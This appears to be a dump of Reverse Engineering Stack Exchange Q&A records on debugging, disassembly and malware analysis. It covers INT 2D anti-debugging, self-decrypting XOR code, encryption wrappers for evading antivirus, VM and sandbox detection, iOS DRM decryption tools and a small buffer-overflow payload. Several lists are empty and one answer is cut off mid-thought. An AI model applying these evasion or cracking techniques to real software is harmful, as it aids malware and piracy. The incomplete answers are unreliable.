Inclusion of an INT 2D instruction appears to be a fairly common anti-debugging tactic used by Windows malware authors. From what I understand, it causes a process to act differently when a debugger is attached from when it is not attached.

\n\n

I have read that this is due in part to an asynchronous (not part of normal program flow) increment to the instruction pointer. This increment can be made to lead to instruction scission.

\n\n

Could someone explain this anti-debugging tactic, specifically why this increment to the instruction pointer occurs, and what happens when a debugger is and is not attached.

\n", "Title": "INT 2D Anti-Forensic Method", "Tags": "|windows|static-analysis|malware|anti-debugging|", "Answer": "
\n

The interrupt 0x2D is a special case. When it is executed, Windows\n uses the current EIP register value as the exception address, and then\n it increments by one the EIP register value. However, Windows also\n examines the value in the EAX register to determine how to adjust the\n exception address. If the EAX register has the value of 1, 3, or 4 on\n all versions of Windows, or the value 5 on Windows Vista and later,\n then Windows will increase by one the exception address. Finally, it\n issues an EXCEPTION_BREAKPOINT (0x80000003) exception if a debugger is\n present. The interrupt 0x2D behaviour can cause trouble for debuggers.\n The problem is that some debuggers might use the EIP register value as\n the address from which to resume, while other debuggers might use the\n exception address as the address from which to resume. This can result\n in a single-byte instruction being skipped, or the execution of a\n completely different instruction because the first byte is missing.\n These behaviours can be used to infer the presence of the debugger.\n The check can be made using this code (identical for 32-bit and\n 64-bit) to examine either the 32-bit or 64-bit Windows environment:

\n
\n\n

At first, I didn't understand the meaning of the \"exception address\" and I think I'm not the only one. Fortunately, the Dr. Fu's blog have a better explanation about it.

\n\n

From Dr Fu's blog:

\n\n
\n

Here the \"exception address\" is the \"EIP value of the context\" (which\n to be copied back to user process), and the \"EIP register value\" is\n the real EIP value of the user process when the exception occurs.

\n
\n" }, { "Id": "1545", "CreationDate": "2013-04-03T16:28:42.250", "Body": "

I know no one that works as of today (i.e., kernels not way too old) and I wonder if anybody found or knows any protector for Linux either commercial, open source, used in malware, etc...

\n", "Title": "Linux protectors: any good one out there?", "Tags": "|linux|unpacking|", "Answer": "

The majority of modern ELF binaries are protected using UPX or a variant thereof. 1,2 However, custom packers have been observed in the wild, including both UPX based- and non-UPX based-custom packers.

\n\n\n\n
\n\n\n\n
\n\n\n\n
\n\n\n\n

References

\n\n
    \n

  1. Understanding Linux Malware

    2. \n

  2. Modern Linux Malware Exposed

    3. \n

  3. Unboxing Linux/Mumblehard (2015) - ESET

    4. \n
\n" }, { "Id": "1560", "CreationDate": "2013-04-04T07:49:50.253", "Body": "

Let's say I found 'some' file (might be an executable, might be data, or something else) and want to run or read it. I open this file in a text editor, but the format isn't readable. Examples include: Java class, Windows executable, SQLite database, DLL, ...

\n\n

I do know the file format, if we can trust the extension.

\n\n

Is there somewhere a site or database with a lot of information about a lot encrypted or binary file formats? Information should include:

\n\n\n\n

So I'm not looking for a way to identify the format of the file. I already know the file format, but need to have information about that format. When is the format used (in what applications), what's the format's structure?

\n", "Title": "Where to find information about a file format?", "Tags": "|file-format|", "Answer": "

This is the tool I have been using when I have needed to recognize a file format or files inside a (big) dump. It has a big signature BD file that you/people can contribute to.

\n\n
\n

Signsrch 0.2.4 (signsrch)

\n \n

tool for searching signatures inside files, extremely useful in\n reversing engineering for figuring or having an initial idea of what\n encryption/compression algorithm is used for a proprietary protocol or\n file. it can recognize tons of compression, multimedia and encryption\n algorithms and many other things like known strings and anti-debugging\n code which can be also manually added since it's all based on a text\n signature file read at runtime and easy to modify. supports\n multithreading, scanning of folders using wildcards, scanning of\n processes, conversion of the executables offsets in memory offsets,\n loading of custom signature files and their automatic checking for\n avoiding errors, automatic finding of the instructions that reference\n the found signatures (like \"Find references\" of Ollydbg) and the\n launching of an executable placing an INT3 byte at the desired memory\n offset (for example one of those retrieved with the -F option, watch\n the Video setion for an example). the tool supports 8, 16, 32 and 64\n bits, float and double plus automatic CRC table creation and C style\n strings.

\n
\n\n

Source: http://aluigi.altervista.org/mytoolz.htm

\n" }, { "Id": "1572", "CreationDate": "2013-04-04T16:18:09.057", "Body": "

Using IDA 6.2 (and also with IDA 6.4), I'm trying out the Proximity viewer to find the path between 2 functions as described at the hexblog post here.

\n\n

Using the Xrefs From/To (old option) it shows the clear path: AllocateVolume -> VolumeSortCmp -> CompareVolumeComponents as shown in the screenshot below

\n\n

\"\"

\n\n

Apart from the add name and hide childs options not existing in the context menu (as described in the blog) of the proximity browser as seen in the screenshot below\n\"\"\nthe find path menu does list CompareVolumeComponents in the dialog that opens (so it has some knowledge of what is reachable). \n

\n\n

However when I press search I expected a nice clean graph (as again shown in the blog and added as reference below) showing only the the 3 relevant nodes, but instead nothing seems to change to the proximity browser layout as I still see 30 something nodes.

\n\n

Hexblog condensed Find path example result\n\"hexblog

\n\n

My result\n\"enter

\n\n

Is the proximity viewer malfunctioning or are my expectations off? Or am i doing something wrong here?

\n", "Title": "IDA Proximity viewer not finding obvious paths?", "Tags": "|ida|", "Answer": "

I think that the problem is a misunderstanding of how the Proximity Viewer works. It will not clear out all the other nodes in the graph when finding a path: it simply finds a path and adds the required nodes to the graph. If you want to view only the nodes between AllocateVolume and CompareVolumeComponents, do the following:

\n\n
    \n
  1. Navigate to AllocateVolume and press '-'.
    2. \n
  2. Right click on the center node AllocateVolume and select \"Collapse children\", then, \"Collapse parents\" as well.
    3. \n
  3. Then, right click outside this node in the proximity view and select \"Add name\".
    4. \n
  4. Find \"CompareVolumeComponents\" and add it.
    5. \n
  5. After this step, right click on the AllocateVolume node, select \"Find Path\" and select the only other available node.
    6. \n
\n\n

If everything goes OK, you will have a graph with only the functions required to display a path from AllocateVolume to CompareVolumeComponents. If it does not, there may be some problem with the current code of the Proximity Viewer (in that case, please contact support at Hex-Rays for a fix). Also, you may want to take a look to the \"callgraph\" plugin in the SDK: the algorithm to find paths is pretty much the same and you may get an idea about why it isn't working.

\n\n

As a side note, a little explanation of how the PV works: The algorithm does not consider a path only calls/jmps as (Q)WinGraph32 does (IIRC) but also consider a path when there are data references. If a function A references, in any way, function B, then the proximity viewer will show that reference (with a gray edge instead of a blue edge). BTW, I'm the guy who wrote it.

\n" }, { "Id": "1584", "CreationDate": "2013-04-05T03:42:38.057", "Body": "

Generally, it's a complex topic. There seems to be very little in the way of example or linear progression in to non-trivial examples.

\n\n

It's possible my google-fu is weak, but I can't seem to locate decent tutorials on using binary instrumentation frameworks (Pin, DynamoRIO, other).

\n\n

What resources could someone who is interested use beyond stumbling around until they get it working?

\n\n

After some of the answers, I thought I should tack on that dynamorio.org is sometimes non-responsive. The project is on googlecode here.

\n", "Title": "Where can someone interested in the topic learn more about Dynamic binary instrumentation?", "Tags": "|dynamic-analysis|", "Answer": "

If you've never touched DBI before, I found this book to be a good use of $17. Written by a long-time researcher in the field, it describes the theory and practice behind DBI, including multiple DBI platforms, exotic DBI tools, etc.

\n" }, { "Id": "1594", "CreationDate": "2013-04-05T10:55:56.913", "Body": "

I browsed a lot, but can't find any resources for reverse engineering an IPA file (iPhone application). Is there any method to reverse engineer an IPA file to its source? I've tried to rename it to zip and open it via Winrar/Winzip to view its source, but it doesn't seem helpful.

\n

What are the possibilities to decompile/reverse engineer an IPA file to its source code?

\n", "Title": "What are the possibilities for reverse engineering an IPA file to its source?", "Tags": "|decompilation|ios|", "Answer": "

Rasticrac can also automate the decryption (FairPlay DRM) of the iOS binary and is very easy to use!

\n\n
\n

Rasticrac

\n \n

Rapid Advanced Secure Thorough Intelligent Gaulish Nuclear Acclaimed Cracker

\n \n

Rasticrac is a very powerful tool to decrypt the iOS app binaries. You can install Rasticrac with Cydia by adding the following Repo source in Cydia:\n http://cydia.iphonecake.com

\n
\n" }, { "Id": "1596", "CreationDate": "2013-04-05T11:01:41.030", "Body": "

Is reverse engineering an application the same as decompiling it?

\n\n

What is the core difference between reverse engineering an application and decompiling an application.

\n", "Title": "Are reverse engineering and decompilation the same?", "Tags": "|decompilation|", "Answer": "

Reverse Engineering is a broader term, of which, decompilation is simply one--albeit powerful--tool. Decompilation is a form of static analysis which is investigating a program by not running it. Don't forget that reverse engineering can also mean taking apart the device that's running a program. Some of my favorite exploits have dealt with using the property of some kinds of memories to continue holding values after the machine has been shut off.

\n\n

A small, non-exhaustive list of techniques for reverse engineering:

\n\n

Static Analysis Techniques

\n\n

String analysis --> Using a program like \"strings\" to discover any readable text in the binary. On non-packed files, this can often tip you off as to what platform the binary was compiled in. If the binary was compiled with symbols, you can even get access to variable names that the author had used, which can help in subsequent analysis.

\n\n

Decompilation --> Cruder techniques might include unix tools like objdump, cracking open the binary in a hex editor, etc.

\n\n

Dynamic Analysis

\n\n

Fuzz Testing --> Throwing multiple kinds of (possibly) invalid data to see how the application responds

\n\n

Debugging --> Coupled with Fuzz testing above will let you see how the application is actually working on the level of registers && assembly. (If using GDB or ollydbg.)

\n\n

\"Eavesdropping\" on circuits or radiation emitted by a device--> It's exotic, but it's real.

\n\n

Summary\nSo decompilation is just one tool in the much broader kit of \"reverse engineering.\"

\n" }, { "Id": "1597", "CreationDate": "2013-04-05T11:06:41.193", "Body": "

p-code is the intermediate code that was used in Visual Basic (before .NET). I would like to know where I can find resources/tools related to analysis of these virtual machine codes.

\n", "Title": "Reverse engineering a Visual Basic p-code binary", "Tags": "|decompilation|visual-basic|", "Answer": "

They are some tools can be useful in reversing p-code binary

\n\n

vb-decompiler lite (free ver): very good decompiler can be download from vb-decompiler official site

\n\n

P32Dasm: another p-code decompiler see here\nand see below of page how they debug p-code with IDA

\n\n

WKTVBDE: p-code debugger, I don't work with it but good to try, to download search tuts4you.com site

\n" }, { "Id": "1603", "CreationDate": "2013-04-05T12:46:18.960", "Body": "

There is an old help file containing Windows API I used few years ago with ollydebug, which can jump to the appropriate help page of function when double clicking on the function in the disassembly window.

\n\n

Is there a more recent reference like this which includes also Windows 7 library calls ?

\n\n

I managed to find an online reference in Microsoft website but a local file is much easier to work with...

\n", "Title": "Windows API reference for OllyDbg", "Tags": "|winapi|ollydbg|", "Answer": "

I'd recommend installing the Windows SDK documentation and the Driver Development Kit if you don't have them already. It might seem like overkill but it's extremely helpful to have both of these documentation kits locally.

\n\n

A word of caution when installing the Windows SDK documentation. Microsoft removed dexplore.exe (viewer) in the Windows 7 2010 SDK update. It now relies on the default browser and the documentation has to be pre-configured and downloaded. The new viewing option feels much slower than dexplorer.exe. I have the Windows XP SDK and the Windows 7 SDK documentation installed because I prefer dexplorer.exe

\n" }, { "Id": "1612", "CreationDate": "2013-04-05T14:55:52.963", "Body": "

I'm adding a feature to my Linux debugger (I'm using Ptrace to manipulate the traced process as well as libbfd/libopcodes) to unwind the stack and determine if discrepancies exist between each CALL's allocated stack space and a statically derived local variable size, printing the address and local stack size of each frame along the way.

\n\n

My general methodology is to take the address in the base pointer (EBP/RBP), increment the pointer to should should contain the stored frame pointer, dereference that address, examine it with PTRACE_PEEKDATA and repeat until I dereference an address occupying an area outside the stack.

\n\n

I know how to check code/data segment registers, but ideally I'd like a method to check if I'm still inside the callstack even if the segmentation has been changed by W^X memory pages or an otherwise nonexecutable stack.

\n\n

In short, how can I check (in the general case) when I've moved outside the stack without triggering a general protection fault?

\n\n

(As as aside, I realize I'm operating on the assumption that checking an address's page segment is the ideal methodology here -- perhaps another simpler method exists to determine if an address is within the current process's stack space)

\n", "Title": "How can I check I've moved outside the stack without triggering a protection fault?", "Tags": "|debuggers|linux|x86|callstack|segmentation|", "Answer": "

So, it is totally untested but here is the result of a few Internet browsing.

\n\n

First the stack base address is present in /proc/<pid>/maps, then it must be accessible from user-space at some point.

\n\n

I looked at the code of the pstack command which is printing the content of the stack of a running process. This code is getting the base address from a link_map structure and store it inside the field l_addr. This field is set inside the function readLinkMap():

\n\n
static void readLinkMap(int pid, ElfN_Addr base, struct link_map *lm, \n                        char *name, unsigned int namelen)\n{\n  /* base address */\n  lm->l_addr = (ElfN_Addr) ptrace(PTRACE_PEEKDATA, pid,\n                                  base + offsetof(struct link_map,l_addr), 0);\n  /* next element of link map chain */\n  if (-1 != (long) lm->l_addr || !errno)\n    lm->l_next = (struct link_map *) ptrace(PTRACE_PEEKDATA, pid,\n                                            base + offsetof(struct link_map, l_next), 0);\n  if ((-1 == (long) lm->l_addr || -1 == (long) lm->l_next) && errno) {\n    perror(\"ptrace\");\n    quit(\"can't read target.\");\n  }\n\n  loadString(pid, base + offsetof(struct link_map, l_name), name, namelen);\n}\n
\n\n

I guess this is the right way to go. So, I would advise you to take a look at the code of the pstack command (the file is not very long) and to get inspiration from it because it does something extremely similar to what you want (at least if I understand what you said correctly).

\n\n

Hope this short note will help you a bit.

\n" }, { "Id": "1614", "CreationDate": "2013-04-05T17:54:15.087", "Body": "

How can I quickly tell if a EXE or DLL I have is managed code or not?

\n\n

I spent some time recently trying to disassemble a file and then later learned through some traces in the code that I could have skipped all that work and just used ILspy. How can I avoid repeating that experience in the future?

\n", "Title": "Determining if a file is managed code or not", "Tags": "|windows|tools|dll|pe|", "Answer": "

When examining the VirtualAddress property of the IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR within the Data Directory of a running process, one may observe the manifestation of native code as .NET. This occurrence is attributed to the dynamic execution of .NET modules during runtime. However, it is imperative to consider.

\n" }, { "Id": "1617", "CreationDate": "2013-04-05T19:45:11.907", "Body": "

I'm researching into intercepting queries that arrive at the SQL Server 2008 process.

\n\n

SQLOS architecture is divided in the following system DLLs:

\n\n\n\n

SQLSERVR service process instances the SQLOS components through sqlboot.dll and sqldk.dll, and the worker threads receive queries through the selected connection method in the server (TCP/IP, local shared memory or named-pipes).

\n\n

I've debugged the sqlservr.exe process address space searching for textual queries. It seems that query strings are readable, but I could not find a point where queries can be intercepted while they enter the SQLOS scheduler.

\n\n

Listening to pipes or TCP/IP is not an option at this moment; I would like to inject at a higher level, preferably at SQLOS-component level.

\n\n

Any idea on where to start looking into?

\n", "Title": "Server-side Query interception with MS SQL Server", "Tags": "|windows|dll|mssql|", "Answer": "

Sniffing traffic only ... is easy

\n\n

If you merely wanted to sniff the traffic you could use the TDS protocol sniffer that comes with WireShark.

\n\n

Let the laziness guide you - laziness is the reverser's friend

\n\n
\n

Listening to pipes or TCP/IP is not an option at this moment; I would\n like to inject at a higher level, preferably at SQLOS-component level.

\n
\n\n

I don't know why you insist on doing this a particular way when all information is readily available and all you need to do is put the jigsaw pieces together. This would seem to be the easiest, fastest - in short: laziest - method. Besides TCP/IP is the higher level, because you can intercept it even before it reaches the actual SQL server machine if you can hijack the IP/name of the SQL server and put a \"proxy\" in between. How high level do you want it? What you insist on is actually drilling down into the lower level guts of the MS SQL Server.

\n\n

MS SQL Server uses a documented protocol and using an LSP you should/would be able to sniff, intercept and even manipulate that traffic. As far as I recall LSPs run within the process space of the application whose traffic they're filtering. You can consider them a makeshift application-level firewall, literally.

\n\n

Alternatively - and probably the better choice anyway - you could write a proxy based on the existing and free FreeTDS (licensed under LGPL). The tdspool program would be a good point to start this endeavor. And yes, this should be suitable for actual interception, not just sniffing forwarded traffic. You can use the library (FreeTDS) to decode and re-encode the queries. That library would also be the one to use inside your LSP, obviously.

\n\n

I'll save the time to go into details of the disassembly, although I installed MS SQL Server 2008 and briefly looked at it in IDA Pro. Brendan's answer provides a good overview, even if I disagree with this overly involved method where an easier one is available. But then, you (Hern\u00e1n) asked for it.

\n" }, { "Id": "1628", "CreationDate": "2013-04-06T13:45:41.450", "Body": "

Always wondered how it would be possible to see what data is being transmitted back and forth with an application that calls home.

\n\n

Let's say we emulate the server via host file redirect. Would it be possible to see what requests are being made by the application?

\n\n

Also is it possible at all to intercept the response(and view data) from the real server before it reaches the application?

\n", "Title": "How to see what data is being transmitted when an application calls home?", "Tags": "|tools|windows|security|php|serial-communication|", "Answer": "

Another option that's pointed out in the comments above by @CallMeV is to use hooking. On Windows you may look at using EasyHook.

\n" }, { "Id": "1636", "CreationDate": "2013-04-06T15:18:09.063", "Body": "

I see that most RE tutorials around the web that give RE examples use OllyDbg 1, even if the tutorial was written after the release of OllyDbg 2.

\n\n

Is there any particular reason for that? Is version 2 too buggy, or were some of the features dropped?

\n", "Title": "Advantages of OllyDbg 1 over OllyDbg 2", "Tags": "|ollydbg|", "Answer": "

Hi\uff0cthe most important reason is: debugging / reversing is quite abstruse and difficult, when you see a full screen assembly codes, and then suddently, they carsh/ fatals / freeze ... You just have no any idea to go on. So you have to search the answer in Internet, but most informations are all about Ollydbg 1.1, and there are lots of plugins to help you resolve the problem, enen though you don't know any secret inside the plugin or else.

\n\n

So, would you take your advantage to try the v2.0, face to helpless situation lonely ?

\n" }, { "Id": "1641", "CreationDate": "2013-04-06T23:38:55.913", "Body": "

I see that PinTool works for Windows and Linux. Does it also happen to work for OSX? Or is there a similar tool that I can use to easily record code coverage for a closed-source app?

\n", "Title": "Pintool For OSX", "Tags": "|dynamic-analysis|osx|", "Answer": "

Yes, they work as @broadway already pointed out. However, PIN under OSX have many-many restrictions, some of them documented and others not. The most noticeable feature it lacks is support for creating threads in a PIN tool.

\n" }, { "Id": "1646", "CreationDate": "2013-04-07T12:24:01.923", "Body": "

Say I have an arbitrary address and I want to find out which basic block (i.e. area_t structure) corresponds to it. How would I do that?

\n\n

Edit:\nmore specifically, I want to know the beginning / end of the basic block to which a given address belongs.

\n", "Title": "How to map an arbitrary address to its corresponding basic block in IDA?", "Tags": "|idapython|ida|", "Answer": "

As suggested by DCoder, I use the following helper class to efficiently resolve addresses to basic blocks:

\n\n
# Wrapper to operate on sorted basic blocks.\nclass BBWrapper(object):\n  def __init__(self, ea, bb):\n    self.ea_ = ea\n    self.bb_ = bb\n\n  def get_bb(self):\n    return self.bb_\n\n  def __lt__(self, other):\n    return self.ea_ < other.ea_\n\n# Creates a basic block cache for all basic blocks in the given function.\nclass BBCache(object):\n  def __init__(self, f):\n    self.bb_cache_ = []\n    for bb in idaapi.FlowChart(f):\n      self.bb_cache_.append(BBWrapper(bb.startEA, bb))\n    self.bb_cache_ = sorted(self.bb_cache_)\n\n  def find_block(self, ea):\n    i = bisect_right(self.bb_cache_, BBWrapper(ea, None))\n    if i:\n      return self.bb_cache_[i-1].get_bb()\n    else:\n      return None\n
\n\n

It can be used like this:

\n\n
bb_cache = BBCache(idaapi.get_func(here()))\nfound = bb_cache.find_block(here())\nif found:\n  print \"found: %X - %X\" % (found.startEA, found.endEA)\nelse:\n  print \"No basic block found that contains %X\" % here()\n
\n" }, { "Id": "1653", "CreationDate": "2013-04-08T12:03:57.463", "Body": "

BitBlaze and BAP are two platforms to perform binary analysis. And, if I understand well, they are sharing lots of common features. What are their respective main features and in what do they differ from each other ?

\n", "Title": "What are the differences between BitBlaze and BAP?", "Tags": "|tools|static-analysis|dynamic-analysis|binary-analysis|", "Answer": "

BAP is mostly a rewrite of BitBlaze, so feature-wise there are many common features. However, many of these have been re-written or re-designed for BAP.

\n\n

Common features:

\n\n\n\n

I am a BAP developer, so I can mainly attest to what is new in BAP since we split. However, I don't think BitBlaze has (publicly) added new features since then.

\n\n

New in BAP:

\n\n\n\n

Only in BitBlaze:

\n\n\n" }, { "Id": "1654", "CreationDate": "2013-04-08T12:42:47.817", "Body": "

While reversing a 32bit Mach-O binary with Hopper, I noticed this peculiar method. The instruction on 0x0000e506 seems to be calling an address right below the instruction.

\n

What would be the reason for this? Is it some kind of register cleaning trickery?

\n

\"Disassembly

\n", "Title": "Why would a program contain a call instruction targetting the address immediately following that instruction?", "Tags": "|assembly|x86|", "Answer": "

As others have said, this is for getting current instruction's address. But it's not recommended as it'll hurt performance because it won't return anywhere, causing disagreement of return addresses in data stack and in the CPU's internal calling stack

\n

The recommended way is

\n
GetCurrentAddress:\n    mov eax, [esp]\n    ret\n...\n    call GetCurrentAddress\n    mov [currentInstruction], eax\n
\n
\n

The reason is the "hidden variables" inside the processor. All modern processors contain much more state than you can see from the instruction sequence. There are TLBs, L1 and L2 caches, all sorts of stuff that you can't see. The hidden variable that is important here is the return address predictor.

\n

The more recent Pentium (and I believe also Athlon) processors maintain an internal stack that is updated by each CALL and RET instruction. When a CALL is executed, the return address is pushed both onto the real stack (the one that the ESP register points to) as well as to the internal return address predictor stack; a RET instruction pops the top address of the return address predictor stack as well as the real stack.

\n

The return address predictor stack is used when the processor decodes a RET instruction. It looks at the top of the return address predictor stack and says, "I bet that RET instruction is going to return to that address." It then speculatively executes the instructions at that address. Since programs rarely fiddle with return addresses on the stack, these predictions tend to be highly accurate.

\n

https://devblogs.microsoft.com/oldnewthing/20041216-00/?p=36973

\n
\n" }, { "Id": "1669", "CreationDate": "2013-04-09T07:48:31.540", "Body": "

I saw the term of opaque predicates several times in obfuscation papers. As far as I understand it, it refers to predicates that are hard to evaluate in an automated manner. Placing it at strategical points of the program (jmp, test, ...) can mislead the analysis of a program by automatic tools.

\n\n

My definition is lacking of precision and, moreover, I have no idea on how to estimate the opacity of such a predicate (its efficiency). So, can somebody give a proper definition and maybe a few examples ?

\n", "Title": "What is an \"opaque predicate\"?", "Tags": "|obfuscation|", "Answer": "

The answers already in this thread are good ones. In a nutshell, an opaque predicate is \"something that a program analysis might miss, if the program analysis is not sophisticated enough\". Denis' example was based on the inverse of constant propagation, and served as an anti-checksum mechanism. Joxean's SetErrorMode example was an environment-based opaque predicate that was used for dynamic anti-emulation. Two of Ange's answers were also dynamic anti-emulation; based upon the environment, and based upon uncommon platform features. Ange's other example was more like an anti-disassembly trick via indirect addressing.

\n\n

In the academic literature, an opaque predicate is referred to as a branch that always executes in one direction, which is known to the creator of the program, and which is unknown a priori to the analyzer. The notion of \"hardness\" of an opaque predicate is deliberately omitted from this definition. Academic predicates are often based upon number-theoretic constructions, aliasing relationships, recursive data structures; basically anything that is commonly understood by program analysis researchers to cause problems for a program analysis tool.

\n\n

My favorite researcher Mila Dalla Preda has shown that the ability for an abstract interpreter to break a given category of opaque predicate is related to the \"completeness\" of the domain with respect to the property tested by the predicate. She demonstrates by using mod-k-based opaque predicates, and elicits a family of domains that are complete (i.e. incur no abstract precision loss) for mod-k with respect to common transformers (addition, multiplication, etc). Then she explores the use of obscure theoretical constructions such as completeness refinement to automatically construct a domain for breaking a certain category of predicate. See this paper for more details.

\n" }, { "Id": "1672", "CreationDate": "2013-04-09T08:21:37.047", "Body": "

I was trying to understand buffer overflow attacks using the following C program

\n\n
#include\"stdio.h\"  \n#include\"string.h\"   \nvoid iwontprint()  \n{  \n    printf(\"i wont be printed!\");  \n}  \n\nvoid callme()  \n{  \n    char buffer[8];  \n    gets(buffer);  \n    puts(buffer);  \n}  \n\nint main(int argc,int** argv)  \n{  \n    callme();  \n    return 0;  \n}\n
\n\n

Loading up the program in GDB before calling the gets(buffer) gives the following value of ESP :

\n\n
0xbffff4d4: 0xb7ff0590 0x080484db 0xb7fc1ff4 0xbffff4e8  \n0xbffff4e4: 0x080484b6 0xbffff568 0xb7e79e46 0x00000001\n
\n\n

And after entering the input 123456789abc\\x7c\\x84\\x04\\x08 I am getting totally different values in ESP :

\n\n
0xbffff4d4: 0xbffff4d8 0x34333231 0x38373635 0x63626139  \n0xbffff4e4: 0x6337785c 0x3438785c 0x3430785c 0x3830785c\n
\n\n

I've already set randomize_va_space = 0

\n\n
$cat /proc/sys/kernel/randomize_va_space   \n0\n
\n\n

Can anybody provide any pointers as to what am I missing here ?

\n", "Title": "Why is this string on the stack not exactly the one I entered?", "Tags": "|disassembly|gdb|buffer-overflow|", "Answer": "

Samurai's answer is correct , but put more clearly , your mistake is that you enter the literal string

\n\n
123456789abc\\x7c\\x84\\x04\\x08\n
\n\n

where as what you probably want is something like:

\n\n
perl -e 'print \"123456789abc\\x7c\\x84\\x04\\x08\"' | ./yourbinary\n
\n\n

In the first case the \\x7c\\x84\\x04\\x08 is just that, a 16 characters length string, where in the second case, the \\x escape sequence is actually interpreted and \\x7c\\x84\\x04\\x08 is printed as just 4 bytes.

\n" }, { "Id": "1673", "CreationDate": "2013-04-09T08:27:22.040", "Body": "

I have an obfuscated binary which only print a simple Hello World!\nand exit like this:

\n\n
Hello World!\n
\n\n

But, when I am looking at the assembly with objdump, I cannot find any\ncall to printf or write, nor find the string Hello World!.

\n\n
0804840c <main>:\n 804840c:       be 1e 84 04 08          mov    $0x804841e,%esi\n 8048411:       89 f7                   mov    %esi,%edi\n 8048413:       b9 26 00 00 00          mov    $0x26,%ecx\n 8048418:       ac                      lods   %ds:(%esi),%al\n 8048419:       34 aa                   xor    $0xaa,%al\n 804841b:       aa                      stos   %al,%es:(%edi)\n 804841c:       e2 fa                   loop   8048418 <main+0xc>\n 804841e:       23 4f 29                and    0x29(%edi),%ecx\n 8048421:       46                      inc    %esi\n 8048422:       ae                      scas   %es:(%edi),%al\n 8048423:       29 4e 5a                sub    %ecx,0x5a(%esi)\n 8048426:       29 6e ae                sub    %ebp,-0x52(%esi)\n 8048429:       c2 9c 2e                ret    $0x2e9c\n 804842c:       ae                      scas   %es:(%edi),%al\n 804842d:       a2 42 17 54 55          mov    %al,0x55541742\n 8048432:       55                      push   %ebp\n 8048433:       23 46 69                and    0x69(%esi),%eax\n 8048436:       e2 cf                   loop   8048407 <frame_dummy+0x27>\n 8048438:       c6 c6 c5                mov    $0xc5,%dh\n 804843b:       8a fd                   mov    %ch,%bh\n 804843d:       c5 d8 c6 ce 8b          vshufps $0x8b,%xmm6,%xmm4,%xmm1\n 8048442:       a0 aa 90 90 90          mov    0x909090aa,%al\n 8048447:       90                      nop\n ...\n 804844f:       90                      nop\n
\n\n

The obfuscation technique claimed to be used here is called instruction\ncamouflage (see this paper). Can someone explain what is it and how does it works ?

\n", "Title": "What is \"instruction camouflage\" obfuscation?", "Tags": "|obfuscation|", "Answer": "

This is also commonly known as an encryption wrapper. I'm sure there are several other similar names used in the industry.

\n\n

The actual code isn't as important as the concept. The plaintext code is prepended (in executive order) by a decryption stub responsible for decoding the body of the code. In this way, the main code body (payload in the case of malware) is encrypted, and thus doesn't have constant bytes. The decoder stub itself remains constant in this example, though polymorphism is a later evolution that regenerates the encoder and decoder so that they, too, contain no constant bytes. By lessening the number of constant bytes between copies of the code, detection signature exposure is reduced.

\n\n

Decoder stubs can offer decompression as well.

\n\n

This mechanism got heavy use in the early days of self-replicating PC viruses. These were labeled with the characteristic of being self-encrypting. It is still used in today by some subversive software.

\n\n

Importantly, native code isn't the only code that can be 'wrapped' in this fashion.

\n" }, { "Id": "1676", "CreationDate": "2013-04-09T08:41:45.237", "Body": "

I would like to know what is the simplest way to produce code binaries with instruction camouflage (see this question).

\n\n

The problem here is that you first have to produce a correct assembly code and then to hide it with a given method directly into the binary. Doing it by hand is quite painful, especially if you have to take care of the static jumps into the code. Right now, I am using nasm, and more precisely its preprocessor to perform the camouflage operations. But, I wonder if there are better ways to do it.

\n\n

So, what tools or tricks do you use to produce such binaries ?

\n", "Title": "How to produce binaries with \"instruction camouflage\" obfuscation?", "Tags": "|tools|obfuscation|", "Answer": "

In general what you do is that you make a new segment in the executable, change the entry point to your new segment. Your new segment has the decryption code for the original code and the changed entry point now means that the first code to execute when the executable is loaded is your decryption code.

\n\n

Your encryption code then either maps a segment, usually at the address where the original executable segment was located, and decrypts the source segment into the mapped segment or it directly decrypts the segment in place. If your code decrypts the segment in place you need to make sure the remove any relocations from the original executable.

\n\n

In all cases, except if you get to map your decrypted executable segment at its original intended address, you need to do the relocations yourself after decryption so that the executable won't crash. Personally I would implement the relocations in order to support things like ASLR. After decryption and relocation you simply call into the original entry point.

\n\n

This way you do not have to create your encryption or \"masking\" code for a particular binary and applying it to arbitrary binaries in the future should be possible.

\n" }, { "Id": "1684", "CreationDate": "2013-04-09T21:28:14.397", "Body": "

IDA Pro can deal with the Renesas H8 processors, but not the free version.

\n\n

Are there any free or low cost (<\u00a3100) disassemblers for the Renesas H8 family or processors?

\n", "Title": "Are there any free or low cost disassemblers for the Renesas H8 family of processors?", "Tags": "|tools|disassembly|renesas-h8|", "Answer": "

There is an H8 port of GNU binutils (the target is called 'h8300' I believe) which includes objdump. It seems it's even available in Debian in the package binutils-h8300-hms (might be outdated).

\n\n

Alternative GNU-based toolchains for many Renesas processors (including H8) are provided by KPIT (free but requires registration). I think they've been contributing to mainline too but not sure how's their progress there.

\n\n

Just for reference, here's how to use objdump to disassemble a raw binary:

\n\n
objdump -m h8300 -b binary -D myfile.bin\n
\n\n

Renesas offers their own commercial compiler/assembler/simulator (and I think a disassembler too) suite called High-performance Embedded Workshop (HEW) but I couldn't find out how much it costs. There is a downloadable evaluation version, however.

\n\n

For a quick look at some hex you can also try the Online Disassembler, it has a couple of H8 variants.

\n" }, { "Id": "1686", "CreationDate": "2013-04-09T22:12:45.620", "Body": "

What are the different ways for a program to detect that it executes inside a virtualized environment ? And, would it be possible to detect what kind of virtualization is used ?

\n", "Title": "How to detect a virtualized environment?", "Tags": "|anti-debugging|virtual-machines|", "Answer": "

Here is a collection of anti-sandbox/vm/debugger techniques implemented in a open source program which will give you a clear idea how to detect virtualization: https://github.com/LordNoteworthy/al-khaser.

\n\n

Here are the list of supported techniques:

\n\n

Anti-debugging attacks

\n\n\n\n

Anti-Dumping

\n\n\n\n

Timing Attacks [Anti-Sandbox]

\n\n\n\n

Human Interaction / Generic [Anti-Sandbox]

\n\n\n\n

Anti-Virtualization / Full-System Emulation

\n\n\n\n

Anti-Analysis

\n\n\n" }, { "Id": "1696", "CreationDate": "2013-04-10T08:34:49.783", "Body": "

Malware use several methods to evade anti-virus software, one is to change their code when they are replicating. I saw mainly three type of techniques in the wild which are: metamorphic malware, oligomorphic malware and polymorphic malware (I might have missed one). What are the main differences between theses techniques and what do they do ?

\n", "Title": "What are the differences between metamorphic, oligomorphic and polymorphic malware?", "Tags": "|obfuscation|malware|", "Answer": "

In order of increasing complexity: oligomorphic, polymorphic, metamorphic.

\n

The first two terms are generally applied to decryptors. We (anti-virus industry) define them this way: oligomorphic - decryptor with few variable elements, which does not affect the size or shape of the code. It means that the variable elements are usually fixed-size instructions, but it can also apply to the register initialization.

\n

Oligomorphic example

\n
